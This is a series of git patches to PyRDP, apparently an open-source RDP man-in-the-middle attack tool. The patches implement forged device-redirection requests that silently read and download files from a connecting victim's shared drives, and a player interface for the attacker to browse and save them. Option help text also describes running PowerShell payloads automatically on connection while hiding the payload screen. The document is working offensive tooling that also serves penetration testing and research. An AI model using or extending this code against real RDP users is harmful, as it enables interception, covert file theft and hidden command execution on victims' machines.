self.attacker.sendPDU(pdu) + + def onFileDownloadComplete(self, deviceID: int, requestID: int, path: str, error: int): + pdu = PlayerFileDownloadCompletePDU( + self.attacker.getCurrentTimeStamp(), + deviceID, + path, + error + ) + + self.attacker.sendPDU(pdu) + self.fileDownloadRequests.pop(requestID, None) + + def handleDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU): if self.deviceRedirection is None: self.log.error("A directory listing request was received from the player, but the channel was not initialized.") @@ -197,7 +232,7 @@ def handleDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU): requestID = self.deviceRedirection.sendForgedDirectoryListing(pdu.deviceID, listingPath) self.directoryListingRequests[requestID] = Path(pdu.path).absolute() - def onDirectoryListingResult(self, requestID: int, deviceID: int, fileName: str, isDirectory: bool): + def onDirectoryListingResult(self, deviceID: int, requestID: int, fileName: str, isDirectory: bool): if requestID not in self.directoryListingRequests: return @@ -212,7 +247,7 @@ def onDirectoryListingResult(self, requestID: int, deviceID: int, fileName: str, self.sendDirectoryList(requestID, deviceID) directoryList.clear() - def onDirectoryListingComplete(self, requestID: int, deviceID: int): + def onDirectoryListingComplete(self, deviceID: int, requestID: int): self.sendDirectoryList(requestID, deviceID) self.directoryListingRequests.pop(requestID, None) self.directoryListingLists.pop(requestID, None) @@ -220,4 +255,4 @@ def onDirectoryListingComplete(self, requestID: int, deviceID: int): def sendDirectoryList(self, requestID: int, deviceID: int): directoryList = self.directoryListingLists[requestID] pdu = PlayerDirectoryListingResponsePDU(self.attacker.getCurrentTimeStamp(), deviceID, directoryList) - self.attacker.sendPDU(pdu) \ No newline at end of file + self.attacker.sendPDU(pdu) diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index caf9b231b..0a7947559 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -27,10 +27,16 @@ class DeviceRedirectionMITMObserver(Observer): def onDeviceAnnounce(self, device: DeviceAnnounce): pass - def onDirectoryListingResult(self, requestID: int, deviceID: int, fileName: str, isDirectory: bool): + def onFileDownloadResult(self, deviceID: int, requestID: int, path: str, offset: int, data: bytes): pass - def onDirectoryListingComplete(self, requestID: int, deviceID: int): + def onFileDownloadComplete(self, deviceID: int, requestID: int, path: str, error: int): + pass + + def onDirectoryListingResult(self, deviceID: int, requestID: int, fileName: str, isDirectory: bool): + pass + + def onDirectoryListingComplete(self, deviceID: int, requestID: int): pass @@ -262,6 +268,31 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResp self.saveMapping() + def findNextRequestID(self) -> int: + completionID = DeviceRedirectionMITM.FORGED_COMPLETION_ID + + while completionID in self.forgedRequests: + completionID += 1 + + return completionID + + + def sendForgedFileRead(self, deviceID: int, path: str) -> int: + """ + Send a forged requests for reading a file. Returns a request ID that can be used by the caller to keep track of + which file the responses belong to. Results are sent by using the DeviceRedirectionMITMObserver interface. + :param deviceID: ID of the target device. + :param path: path of the file to download. The path should use '\' instead of '/' to separate directories. + """ + + completionID = self.findNextRequestID() + request = DeviceRedirectionMITM.ForgedFileReadRequest(deviceID, completionID, self, path) + self.forgedRequests[completionID] = request + + request.send() + return completionID + + def sendForgedDirectoryListing(self, deviceID: int, path: str) -> int: """ Send a forged directory listing request. Returns a request ID that can be used by the caller to keep track of which @@ -272,11 +303,7 @@ def sendForgedDirectoryListing(self, deviceID: int, path: str) -> int: \Documents\* """ - completionID = DeviceRedirectionMITM.FORGED_COMPLETION_ID - - while completionID in self.forgedRequests: - completionID += 1 - + completionID = self.findNextRequestID() request = DeviceRedirectionMITM.ForgedDirectoryListingRequest(deviceID, completionID, self, path) self.forgedRequests[completionID] = request @@ -310,6 +337,16 @@ def __init__(self, deviceID: int, requestID: int, mitm: 'DeviceRedirectionMITM') def send(self): pass + def sendCloseRequest(self): + request = DeviceCloseRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + 0 + ) + + self.sendIORequest(request) + def sendIORequest(self, request: DeviceIORequestPDU): self.mitm.client.sendPDU(request) @@ -328,6 +365,84 @@ def onCloseResponse(self, _: DeviceCloseResponsePDU): self.complete() + class ForgedFileReadRequest(ForgedRequest): + def __init__(self, deviceID: int, requestID: int, mitm: 'DeviceRedirectionMITM', path: str): + """ + :param deviceID: ID of the device used. + :param requestID: this request's ID. + :param mitm: the parent MITM. + :param path: path of the file to download. + """ + super().__init__(deviceID, requestID, mitm) + self.path = path + self.handlers[MajorFunction.IRP_MJ_READ] = self.onReadResponse + self.offset = 0 + + def send(self): + # Open the file + request = DeviceCreateRequestPDU( + self.deviceID, + 0, + self.requestID, + 0, + FileAccessMask.FILE_READ_DATA, + 0, + FileAttributes.FILE_ATTRIBUTE_NONE, + FileShareAccess(7), # read, write, delete + FileCreateDisposition.FILE_OPEN, + FileCreateOptions.FILE_NON_DIRECTORY_FILE, + self.path + ) + + self.sendIORequest(request) + + def sendReadRequest(self): + request = DeviceReadRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + 0, + 4096, + self.offset + ) + + self.sendIORequest(request) + + def onCreateResponse(self, response: DeviceCreateResponsePDU): + super().onCreateResponse(response) + + if self.fileID is None: + self.handleFileComplete(response.ioStatus) + return + + self.sendReadRequest() + + def onReadResponse(self, response: DeviceReadResponsePDU): + if response.ioStatus != 0: + self.handleFileComplete(response.ioStatus) + return + + length = len(response.payload) + + if length == 0: + self.handleFileComplete(0) + return + + self.mitm.observer.onFileDownloadResult(self.deviceID, self.requestID, self.path, self.offset, response.payload) + + self.offset += length + self.sendReadRequest() + + def handleFileComplete(self, error: int): + self.mitm.observer.onFileDownloadComplete(self.deviceID, self.requestID, self.path, error) + + if self.fileID is None: + self.complete() + else: + self.sendCloseRequest() + + + class ForgedDirectoryListingRequest(ForgedRequest): def __init__(self, deviceID: int, requestID: int, mitm: 'DeviceRedirectionMITM', path: str): """ @@ -370,6 +485,7 @@ def onCreateResponse(self, response: DeviceCreateResponsePDU): super().onCreateResponse(response) if self.fileID is None: + self.complete() return # Now that the file is open, start listing the directory. @@ -400,7 +516,7 @@ def handleDirectoryListingResponse(self, response: DeviceQueryDirectoryResponseP except AttributeError: isDirectory = False - self.mitm.observer.onDirectoryListingResult(response.completionID, response.deviceID, info.fileName, isDirectory) + self.mitm.observer.onDirectoryListingResult(self.deviceID, self.requestID, info.fileName, isDirectory) # Send a follow-up request to get the next file (or a nonzero ioStatus, which will complete the listing). pdu = DeviceQueryDirectoryRequestPDU( @@ -415,14 +531,7 @@ def handleDirectoryListingResponse(self, response: DeviceQueryDirectoryResponseP self.sendIORequest(pdu) def handleDirectoryListingComplete(self, _: DeviceQueryDirectoryResponsePDU): - self.mitm.observer.onDirectoryListingComplete(self.requestID, self.deviceID) + self.mitm.observer.onDirectoryListingComplete(self.deviceID, self.requestID) # Once we're done, we can close the file. - request = DeviceCloseRequestPDU( - self.deviceID, - self.fileID, - self.requestID, - 0 - ) - - self.sendIORequest(request) \ No newline at end of file + self.sendCloseRequest() \ No newline at end of file From ded41c91101101f4a63f4af21036d797df07890b Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 17 Apr 2019 20:28:55 -0400 Subject: [PATCH 102/113] Fix directory listing handling not properly adding files in deeper directories --- pyrdp/player/LiveEventHandler.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/player/LiveEventHandler.py b/pyrdp/player/LiveEventHandler.py index 35ca70b5e..aac6d9952 100644 --- a/pyrdp/player/LiveEventHandler.py +++ b/pyrdp/player/LiveEventHandler.py @@ -56,7 +56,7 @@ def handleDirectoryListingResponse(self, response: PlayerDirectoryListingRespons newDirectory = None - for directory in drive.directories: + for directory in currentDirectory.directories: if directory.name == currentName: newDirectory = directory break From 42e37f68a830c998a1cce36ef943300d28e82122 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 18 Apr 2019 16:14:17 -0400 Subject: [PATCH 103/113] Fix directory separator style in player file download response / complete --- pyrdp/mitm/AttackerMITM.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index d64b9fa33..1b45fed3d 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -197,7 +197,7 @@ def onFileDownloadResult(self, deviceID: int, requestID: int, path: str, offset: pdu = PlayerFileDownloadResponsePDU( self.attacker.getCurrentTimeStamp(), deviceID, - path, + path.replace("\\", "/"), offset, data ) @@ -208,7 +208,7 @@ def onFileDownloadComplete(self, deviceID: int, requestID: int, path: str, error pdu = PlayerFileDownloadCompletePDU( self.attacker.getCurrentTimeStamp(), deviceID, - path, + path.replace("\\", "/"), error ) From db790b34130e9b79543f4dd02fe6c719a47c1fe6 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 18 Apr 2019 17:34:20 -0400 Subject: [PATCH 104/113] Change read buffer size to 16 KB --- pyrdp/mitm/DeviceRedirectionMITM.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index 0a7947559..706361f21 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -402,7 +402,7 @@ def sendReadRequest(self): self.fileID, self.requestID, 0, - 4096, + 1024 * 16, self.offset ) From 089107404b562ef18ab59b58bebfdcbf018529e5 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 18 Apr 2019 18:04:04 -0400 Subject: [PATCH 105/113] Implement file downloading on the client side --- pyrdp/player/FileDownloadDialog.py | 83 ++++++++++++++++++++++++++++ pyrdp/player/FileSystemWidget.py | 72 ++++++++++++++++++++++-- pyrdp/player/LiveEventHandler.py | 88 +++++++++++++++++++++++++++--- pyrdp/player/LiveTab.py | 3 +- pyrdp/player/filesystem.py | 44 ++++++++++++--- 5 files changed, 271 insertions(+), 19 deletions(-) create mode 100644 pyrdp/player/FileDownloadDialog.py diff --git a/pyrdp/player/FileDownloadDialog.py b/pyrdp/player/FileDownloadDialog.py new file mode 100644 index 000000000..4da9ea4d7 --- /dev/null +++ b/pyrdp/player/FileDownloadDialog.py @@ -0,0 +1,83 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# +from PySide2.QtCore import QObject, Qt +from PySide2.QtGui import QCloseEvent +from PySide2.QtWidgets import QDialog, QLabel, QMessageBox, QProgressBar, QVBoxLayout + + +class FileDownloadDialog(QDialog): + def __init__(self, remotePath: str, targetPath: str, parent: QObject): + super().__init__(parent, Qt.CustomizeWindowHint | Qt.WindowTitleHint) + self.titleLabel = QLabel(f"Downloading {remotePath} to {targetPath}") + + self.progressBar = QProgressBar() + self.progressBar.setMinimum(0) + self.progressBar.setMaximum(0) + self.actualProgress = 0 + self.actualMaximum = 0 + self.isComplete = False + + self.progressLabel = QLabel("0 bytes") + + self.widgetLayout = QVBoxLayout() + self.widgetLayout.addWidget(self.titleLabel) + self.widgetLayout.addWidget(self.progressBar) + self.widgetLayout.addWidget(self.progressLabel) + + self.setLayout(self.widgetLayout) + self.setModal(True) + + def getHumanReadableSize(self, size: int): + prefixes = ["", "K", "M", "G"] + + while len(prefixes) > 1: + if size < 1024: + break + + prefixes.pop(0) + size /= 1024 + + return f"{'%.2f' % size if size % 1 != 0 else int(size)} {prefixes[0]}" + + def updateProgress(self): + progress = self.getHumanReadableSize(self.actualProgress) + + if self.actualMaximum > 0: + percentage = int(self.actualProgress / self.actualMaximum * 100) + maximum = self.getHumanReadableSize(self.actualMaximum) + + self.progressBar.setValue(percentage) + self.progressLabel.setText(f"{progress}B / {maximum}B ({percentage}%)") + else: + self.progressBar.setValue(0) + self.progressLabel.setText(f"{progress}B") + + def reportSize(self, maximum: int): + self.actualMaximum = maximum + + if self.actualMaximum == 0: + self.progressBar.setMaximum(0) + else: + self.progressBar.setMaximum(100) + + self.updateProgress() + + def reportProgress(self, progress: int): + self.actualProgress = progress + self.updateProgress() + + def reportCompletion(self, error: int): + if error == 0: + QMessageBox.information(self, "Download Complete", "Download completed successfully.") + else: + QMessageBox.critical(self, "Download Complete", f"Download failed. Error code: {'0x%08lx' % error}") + + self.isComplete = True + self.close() + + def closeEvent(self, event: QCloseEvent): + if not self.isComplete: + event.ignore() \ No newline at end of file diff --git a/pyrdp/player/FileSystemWidget.py b/pyrdp/player/FileSystemWidget.py index 68e89f2d3..9052c61c5 100644 --- a/pyrdp/player/FileSystemWidget.py +++ b/pyrdp/player/FileSystemWidget.py @@ -5,11 +5,13 @@ # from pathlib import Path +from typing import Optional -from PySide2.QtCore import QObject -from PySide2.QtWidgets import QFrame, QLabel, QListWidget, QVBoxLayout, QWidget +from PySide2.QtCore import QObject, QPoint, Qt, Signal +from PySide2.QtWidgets import QAction, QFileDialog, QFrame, QLabel, QListWidget, QMenu, QVBoxLayout, QWidget -from pyrdp.player.filesystem import Directory, DirectoryObserver, FileSystemItemType +from pyrdp.player.FileDownloadDialog import FileDownloadDialog +from pyrdp.player.filesystem import Directory, DirectoryObserver, File, FileSystemItemType from pyrdp.player.FileSystemItem import FileSystemItem @@ -18,6 +20,9 @@ class FileSystemWidget(QWidget, DirectoryObserver): Widget for display directories, using the pyrdp.core.filesystem classes. """ + # fileDownloadRequested(file, targetPath, dialog) + fileDownloadRequested = Signal(File, str, FileDownloadDialog) + def __init__(self, root: Directory, parent: QObject = None): """ :param root: root of all directories. Directories in root will be displayed with drive icons. @@ -36,6 +41,8 @@ def __init__(self, root: Directory, parent: QObject = None): self.listWidget = QListWidget() self.listWidget.setSortingEnabled(True) + self.listWidget.setContextMenuPolicy(Qt.CustomContextMenu) + self.listWidget.customContextMenuRequested.connect(self.onCustomContextMenu) self.verticalLayout = QVBoxLayout() self.verticalLayout.addWidget(self.breadcrumbLabel) @@ -124,4 +131,61 @@ def onDirectoryChanged(self): Refresh the directory view when the directory has changed. """ - self.listCurrentDirectory() \ No newline at end of file + self.listCurrentDirectory() + + def currentItemText(self) -> str: + try: + return self.listWidget.selectedItems()[0].text() + except IndexError: + return "" + + def selectedFile(self) -> Optional[File]: + text = self.currentItemText() + + if text == "": + return None + + if text == "..": + return self.currentDirectory.parent + + for sequence in [self.currentDirectory.files, self.currentDirectory.directories]: + for file in sequence: + if text == file.name: + return file + + return None + + def canDownloadSelectedItem(self) -> bool: + return self.selectedFile().type == FileSystemItemType.File + + def onCustomContextMenu(self, localPosition: QPoint): + selectedFile = self.selectedFile() + + if selectedFile is None: + return + + globalPosition = self.listWidget.mapToGlobal(localPosition) + + downloadAction = QAction("Download file") + downloadAction.setEnabled(selectedFile.type in [FileSystemItemType.File]) + downloadAction.triggered.connect(self.downloadFile) + + itemMenu = QMenu() + itemMenu.addAction(downloadAction) + + itemMenu.exec_(globalPosition) + + def downloadFile(self): + file = self.selectedFile() + + if file.type != FileSystemItemType.File: + return + + filePath = file.getFullPath() + targetPath, _ = QFileDialog.getSaveFileName(self, f"Download file {filePath}", file.name) + + if targetPath != "": + dialog = FileDownloadDialog(filePath, targetPath, self) + dialog.show() + + self.fileDownloadRequested.emit(file, targetPath, dialog) \ No newline at end of file diff --git a/pyrdp/player/LiveEventHandler.py b/pyrdp/player/LiveEventHandler.py index aac6d9952..8c4665eb7 100644 --- a/pyrdp/player/LiveEventHandler.py +++ b/pyrdp/player/LiveEventHandler.py @@ -3,28 +3,35 @@ # Copyright (C) 2019 GoSecure Inc. # Licensed under the GPLv3 or later. # - -from pathlib import PosixPath -from typing import Dict +from logging import LoggerAdapter +from pathlib import Path, PosixPath +from typing import BinaryIO, Dict from PySide2.QtWidgets import QTextEdit from pyrdp.enum import DeviceType, PlayerPDUType from pyrdp.layer import PlayerLayer -from pyrdp.pdu import PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU -from pyrdp.player.filesystem import DirectoryObserver, Drive, FileSystem +from pyrdp.pdu import PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, \ + PlayerFileDownloadCompletePDU, PlayerFileDownloadRequestPDU, PlayerFileDownloadResponsePDU +from pyrdp.player.FileDownloadDialog import FileDownloadDialog +from pyrdp.player.filesystem import DirectoryObserver, Drive, File, FileSystem, FileSystemItemType from pyrdp.player.PlayerEventHandler import PlayerEventHandler from pyrdp.ui import QRemoteDesktop class LiveEventHandler(PlayerEventHandler, DirectoryObserver): - def __init__(self, viewer: QRemoteDesktop, text: QTextEdit, fileSystem: FileSystem, layer: PlayerLayer): + def __init__(self, viewer: QRemoteDesktop, text: QTextEdit, log: LoggerAdapter, fileSystem: FileSystem, layer: PlayerLayer): super().__init__(viewer, text) + self.log = log self.fileSystem = fileSystem self.layer = layer self.drives: Dict[int, Drive] = {} + self.downloadFiles: Dict[str, BinaryIO] = {} + self.downloadDialogs: Dict[str, FileDownloadDialog] = {} self.handlers[PlayerPDUType.DIRECTORY_LISTING_RESPONSE] = self.handleDirectoryListingResponse + self.handlers[PlayerPDUType.FILE_DOWNLOAD_RESPONSE] = self.handleDownloadResponse + self.handlers[PlayerPDUType.FILE_DOWNLOAD_COMPLETE] = self.handleDownloadComplete def onDeviceMapping(self, pdu: PlayerDeviceMappingPDU): super().onDeviceMapping(pdu) @@ -69,4 +76,71 @@ def handleDirectoryListingResponse(self, response: PlayerDirectoryListingRespons if description.isDirectory: currentDirectory.addDirectory(fileName) else: - currentDirectory.addFile(fileName) \ No newline at end of file + currentDirectory.addFile(fileName) + + def onFileDownloadRequested(self, file: File, targetPath: str, dialog: FileDownloadDialog): + remotePath = file.getFullPath() + + self.log.info("Saving %(remotePath)s to %(targetPath)s", {"remotePath": remotePath, "targetPath": targetPath}) + parent = file.parent + + if parent is None: + self.log.error("Cannot save file without drive information.") + return + + while parent.parent is not None: + parent = parent.parent + + if parent.type != FileSystemItemType.Drive: + self.log.error("Cannot save file: root parent is not a drive.") + return + + try: + targetFile = open(targetPath, "wb") + except Exception as e: + self.log.error("Cannot save file: %(exception)s", {"exception": str(e)}) + return + + self.downloadFiles[remotePath] = targetFile + self.downloadDialogs[remotePath] = dialog + + pdu = PlayerFileDownloadRequestPDU(self.layer.getCurrentTimeStamp(), parent.deviceID, file.getFullPath()) + self.layer.sendPDU(pdu) + + def handleDownloadResponse(self, response: PlayerFileDownloadResponsePDU): + remotePath = response.path + + if remotePath not in self.downloadFiles: + return + + targetFile = self.downloadFiles[remotePath] + targetFile.write(response.payload) + + dialog = self.downloadDialogs[remotePath] + dialog.reportProgress(response.offset + len(response.payload)) + + def handleDownloadComplete(self, response: PlayerFileDownloadCompletePDU): + remotePath = response.path + + if remotePath not in self.downloadFiles: + return + + dialog = self.downloadDialogs.pop(remotePath) + dialog.reportCompletion(response.error) + + targetFile = self.downloadFiles.pop(remotePath) + targetFileName = targetFile.name + targetFile.close() + + if response.error != 0: + self.log.error("Error happened when downloading %(remotePath)s. The file may not have been saved completely. Error code: %(errorCode)s", { + "remotePath": remotePath, + "errorCode": "0x%08lx", + }) + + try: + Path(targetFileName).unlink() + except Exception as e: + self.log.error("Error when deleting file %(path)s: %(exception)s", {"path": targetFileName, "exception": str(e)}) + else: + self.log.info("Download %(path)s complete.", {"path": targetFile.name}) \ No newline at end of file diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index a9cf43851..1b270ce78 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -33,7 +33,7 @@ def __init__(self, parent: QWidget = None): self.layers = layers self.rdpWidget = rdpWidget self.fileSystem = FileSystem() - self.eventHandler = LiveEventHandler(self.widget, self.text, self.fileSystem, self.layers.player) + self.eventHandler = LiveEventHandler(self.widget, self.text, self.log, self.fileSystem, self.layers.player) self.attackerBar = AttackerBar() self.attackerBar.controlTaken.connect(lambda: self.rdpWidget.setControlState(True)) @@ -41,6 +41,7 @@ def __init__(self, parent: QWidget = None): self.fileSystemWidget = FileSystemWidget(self.fileSystem) self.fileSystemWidget.setWindowTitle("Client drives") + self.fileSystemWidget.fileDownloadRequested.connect(self.eventHandler.onFileDownloadRequested) self.attackerLayout = QHBoxLayout() self.attackerLayout.addWidget(self.fileSystemWidget, 20) diff --git a/pyrdp/player/filesystem.py b/pyrdp/player/filesystem.py index f7dc3a158..d25a48890 100644 --- a/pyrdp/player/filesystem.py +++ b/pyrdp/player/filesystem.py @@ -23,6 +23,9 @@ def __init__(self, name: str, itemType: FileSystemItemType): self.name = name self.type = itemType + def getFullPath(self, name: str = "") -> str: + pass + class DirectoryObserver(Observer): def onDirectoryChanged(self): @@ -56,26 +59,45 @@ def addDirectory(self, name: str): return directory def list(self, name: str = ""): - if self.parent is None: - return + if name == "": + self.files.clear() + self.directories.clear() + + path = self.getFullPath(name) + self.parent.list(str(path)) + def getFullPath(self, name: str = "") -> str: path = PosixPath(self.name) if name != "": path /= name - else: - self.files.clear() - self.directories.clear() - self.parent.list(str(path)) + path = str(path) + + if self.parent is None: + return path + else: + return self.parent.getFullPath(path) class File(FileSystemItem): def __init__(self, name: str, parent: Directory): super().__init__(name, FileSystemItemType.File) - self.name = name self.parent = parent + def getFullPath(self, name: str = "") -> str: + path = PosixPath(self.name) + + if name != "": + path /= name + + path = str(path) + + if self.parent is None: + return path + else: + return self.parent.getFullPath(path) + class Drive(Directory): def __init__(self, name: str, deviceID: int): @@ -94,6 +116,14 @@ def list(self, name: str = ""): self.observer.onListDirectory(self.deviceID, path) + def getFullPath(self, name: str = "") -> str: + path = PosixPath("/") + + if name != "": + path /= name + + return str(path) + @ObservedBy(DirectoryObserver) class FileSystem(Directory): From 179ddb6a244a2d5f6725f0741f6e43686898cb9f Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 23 Apr 2019 10:44:34 -0400 Subject: [PATCH 106/113] Fix text area separator writing --- pyrdp/player/PlayerEventHandler.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/player/PlayerEventHandler.py b/pyrdp/player/PlayerEventHandler.py index 8b8b06fee..e6abc1047 100644 --- a/pyrdp/player/PlayerEventHandler.py +++ b/pyrdp/player/PlayerEventHandler.py @@ -51,7 +51,7 @@ def writeText(self, text: str): self.text.insertPlainText(text) def writeSeparator(self): - self.writeText("--------------------\n") + self.writeText("\n--------------------\n") def onPDUReceived(self, pdu: PlayerPDU, isMainThread = False): From c7308a40950098bd00cc8fbfe929e21612a712b1 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 23 Apr 2019 13:08:35 -0400 Subject: [PATCH 107/113] Improve documentation / logging --- bin/pyrdp-mitm.py | 2 +- pyrdp/core/FileProxy.py | 4 ++++ pyrdp/mitm/DeviceRedirectionMITM.py | 11 +++++++++-- pyrdp/mitm/FastPathMITM.py | 1 + pyrdp/mitm/mitm.py | 4 ++-- pyrdp/parser/player.py | 5 +++++ pyrdp/player/FileSystemWidget.py | 9 +++++++-- pyrdp/player/LiveEventHandler.py | 5 +++++ 8 files changed, 34 insertions(+), 7 deletions(-) diff --git a/bin/pyrdp-mitm.py b/bin/pyrdp-mitm.py index 1c7d43102..4bf32c46d 100755 --- a/bin/pyrdp-mitm.py +++ b/bin/pyrdp-mitm.py @@ -163,7 +163,7 @@ def main(): parser.add_argument("--payload-powershell", help="PowerShell command to run automatically upon connection", default=None) parser.add_argument("--payload-powershell-file", help="PowerShell script to run automatically upon connection (as -EncodedCommand)", default=None) parser.add_argument("--payload-delay", help="Time to wait after a new connection before sending the payload, in milliseconds", default=None) - parser.add_argument("--payload-duration", help="Amount of time the payload should take to complete, in milliseconds", default=None) + parser.add_argument("--payload-duration", help="Amount of time for which input / output should be dropped, in milliseconds. This can be used to hide the payload screen.", default=None) parser.add_argument("--no-replay", help="Disable replay recording", action="store_true") args = parser.parse_args() diff --git a/pyrdp/core/FileProxy.py b/pyrdp/core/FileProxy.py index 0152bfaa8..80a47718e 100644 --- a/pyrdp/core/FileProxy.py +++ b/pyrdp/core/FileProxy.py @@ -6,6 +6,10 @@ class FileProxyObserver(Observer): + """ + Observer class for receiving FileProxy events (file creation and file close). + """ + def onFileCreated(self, fileProxy: 'FileProxy'): pass diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index 706361f21..88c3f2abe 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -91,9 +91,11 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye with open(self.fileMapPath, "r") as f: self.fileMap: Dict[str, FileMapping] = json.loads(f.read(), cls=FileMappingDecoder) except IOError: - pass + self.log.warning("Could not read the RDPDR file mapping at %(path)s. The file may not exist or it may have incorrect permissions. A new mapping will be created.", { + "path": str(self.fileMapPath), + }) except json.JSONDecodeError: - self.log.error(f"Failed to decode file mapping, overwriting previous file") + self.log.error("Failed to decode file mapping, overwriting previous file") def saveMapping(self): """ @@ -269,6 +271,11 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResp def findNextRequestID(self) -> int: + """ + Find the next request ID to be returned for a forged request. Request ID's start from a different base than the + IDs for normal RDPDR requests to avoid collisions. IDs are reused after their request has completed. What we + call a "request ID" is the equivalent of the "completion ID" in RDPDR documentation. + """ completionID = DeviceRedirectionMITM.FORGED_COMPLETION_ID while completionID in self.forgedRequests: diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 7d6ac7205..0cc25917b 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -18,6 +18,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMS """ :param client: fast-path layer for the client side :param server: fast-path layer for the server side + :param state: the MITM state. """ self.client = client diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index f974497f3..00dee3c76 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -326,11 +326,11 @@ def sendPayload(self): return if self.config.payloadDelay is None: - self.log.error("Payload was set but no delay is configured. Payload will not be sent.") + self.log.error("Payload was set but no delay is configured. Please configure a payload delay. Payload will not be sent for this connection.") return if self.config.payloadDuration is None: - self.log.error("Payload was set but no duration is configured. Payload will not be sent.") + self.log.error("Payload was set but no duration is configured. Please configure a payload duration. Payload will not be sent for this connection.") return def waitForDelay() -> int: diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index d67de7c06..9e7beded7 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -11,6 +11,11 @@ class PlayerParser(SegmentationParser): + """ + Parser used for parsing messages to and from the PyRDP player. The player can be used by attackers to see the + RDP session in real time and take control of the session. + """ + def __init__(self): super().__init__() diff --git a/pyrdp/player/FileSystemWidget.py b/pyrdp/player/FileSystemWidget.py index 9052c61c5..e5974de6b 100644 --- a/pyrdp/player/FileSystemWidget.py +++ b/pyrdp/player/FileSystemWidget.py @@ -17,7 +17,7 @@ class FileSystemWidget(QWidget, DirectoryObserver): """ - Widget for display directories, using the pyrdp.core.filesystem classes. + Widget for listing directory contents and download files from the RDP client. """ # fileDownloadRequested(file, targetPath, dialog) @@ -84,7 +84,8 @@ def setWindowTitle(self, title: str): def onItemDoubleClicked(self, item: FileSystemItem): """ - Handle double-clicks on items in the list. + Handle double-clicks on items in the list. When the item is a directory, the current path changes and the + contents of the directory are listed. Files are ignored. :param item: the item that was clicked. """ @@ -159,6 +160,10 @@ def canDownloadSelectedItem(self) -> bool: return self.selectedFile().type == FileSystemItemType.File def onCustomContextMenu(self, localPosition: QPoint): + """ + Show a custom context menu with a "Download file" action when a file is right-clicked. + :param localPosition: position where the user clicked. + """ selectedFile = self.selectedFile() if selectedFile is None: diff --git a/pyrdp/player/LiveEventHandler.py b/pyrdp/player/LiveEventHandler.py index 8c4665eb7..8633f7c45 100644 --- a/pyrdp/player/LiveEventHandler.py +++ b/pyrdp/player/LiveEventHandler.py @@ -20,6 +20,11 @@ class LiveEventHandler(PlayerEventHandler, DirectoryObserver): + """ + Event handler used for live connections. Handles the same events as the replay handler, plus directory listing and + file read events. + """ + def __init__(self, viewer: QRemoteDesktop, text: QTextEdit, log: LoggerAdapter, fileSystem: FileSystem, layer: PlayerLayer): super().__init__(viewer, text) self.log = log From fc51fc231d1b702e6e5c82073d83b1f768fac45d Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 25 Apr 2019 15:29:02 -0400 Subject: [PATCH 108/113] Add license headers --- pyrdp/__init__.py | 5 +++++ pyrdp/core/FileProxy.py | 6 ++++++ pyrdp/core/event.py | 6 ++++++ pyrdp/core/twisted.py | 6 ++++++ pyrdp/enum/player.py | 6 ++++++ pyrdp/enum/virtual_channel/__init__.py | 5 +++++ pyrdp/layer/rdp/__init__.py | 5 +++++ pyrdp/layer/rdp/virtual_channel/__init__.py | 5 +++++ pyrdp/logging/adapters.py | 6 ++++++ pyrdp/logging/handlers.py | 6 ++++++ pyrdp/mitm/FileMapping.py | 6 ++++++ pyrdp/parser/RawParser.py | 6 ++++++ pyrdp/parser/player.py | 6 ++++++ pyrdp/parser/rdp/__init__.py | 5 +++++ pyrdp/parser/rdp/virtual_channel/__init__.py | 5 +++++ pyrdp/parser/tcp.py | 6 ++++++ pyrdp/pdu/rdp/__init__.py | 5 +++++ pyrdp/pdu/rdp/virtual_channel/__init__.py | 5 +++++ pyrdp/pdu/tcp.py | 6 ++++++ 